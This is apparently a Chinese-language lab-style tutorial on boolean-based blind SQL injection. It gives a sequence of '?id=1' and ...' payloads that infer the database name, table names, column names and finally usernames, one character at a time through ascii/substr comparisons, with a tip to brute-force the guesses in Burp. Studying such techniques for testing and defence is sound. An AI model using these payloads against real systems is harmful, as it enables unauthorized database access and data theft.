所用到的函数
Length() 返回字符串的长度
Substr() 截取字符串
Ascii() 返回字符的ascii码
报错可以把(#)换成(%23)
实现判断了,目标可能具有注入
首先判断数据库名称长度: ?id=1' and (length(database())) =8 #
该语句所得 数据库名称长度是(8)位。
然后猜测数据库名称:?id=1' and (ascii(substr(database(),1,1))) =115 #
(ascii)这个函数的意思是把猜测出来的字母,替换成ascii码值
((database),1,1)从第一位截取一位 2,1 从第二位截取一位 3.1从第三位截取一位 依次类推
该语句所得 数据库名称的第一位字母
(可拿burp爆破工具)轻松一点
接着猜测数据库里面有多少张表:?id=1' and (select count(*)from information_schema.tables where table_schema = '这个放你跑出来的数据库名称') =4(这里就是猜测的数字) #
该语句所得 数据库里面有多少张表
猜测里面第一张表名称的长度:?id=1' and (length((select table_name from information_schema.tables where table_schema = 'security' limit 0,1)) ) =6 #
0,1是第一张表 1,1是第二张表 依次类推
该语句所得 数据库第一张表名称位6位
然后就猜测表的名字::?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema = '这个放你跑出来的数据库名称' limit 3,1),1,1)) =8 ) #
截取数据库第4张表的名称,从第一位开始
该语句所得 数据库里面表的名字
判断表里面字段:?id=1' and (select count(*) from information_schema.columns where table_schema = '这个放你跑出来的数据库名称' and table_name = '这个放你跑出来的表名称') =3 #
该语句所得 数据库里面表有多少字段
查字段名称有多少位:?id=1' and (length((select column_name from information_schema.columns where table_schema = '这个放你跑出来的数据库名称' and table_name = '这个放你跑出来的表名称' limit 0,1))) =2 #
所得字段是多少位的
查表字段的名称:?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema = '这个放你跑出来的数据库名称' and table_name = '这个放你跑出来的表名称' limit 0,1),1,1))) = 105 #
查(这个放你跑出来的数据库名称)(这个放你跑出来表名称)里第一个字段的名称 limit 0,1(表第一个字段),1,1(第一个字母) limit 1,1(表第二个字段)
所得字段名称
最后什么都有了 就差数据库表里面的数据了:?id=1' and (ascii(substr((select username(这个是你跑出来的字段名称) from users(这个是你跑出来的表) limit 0,1),1,1))) =68 #
查表的 limit 0,1(第一个数据) 1,1(第一个字母) 依次
ASCII表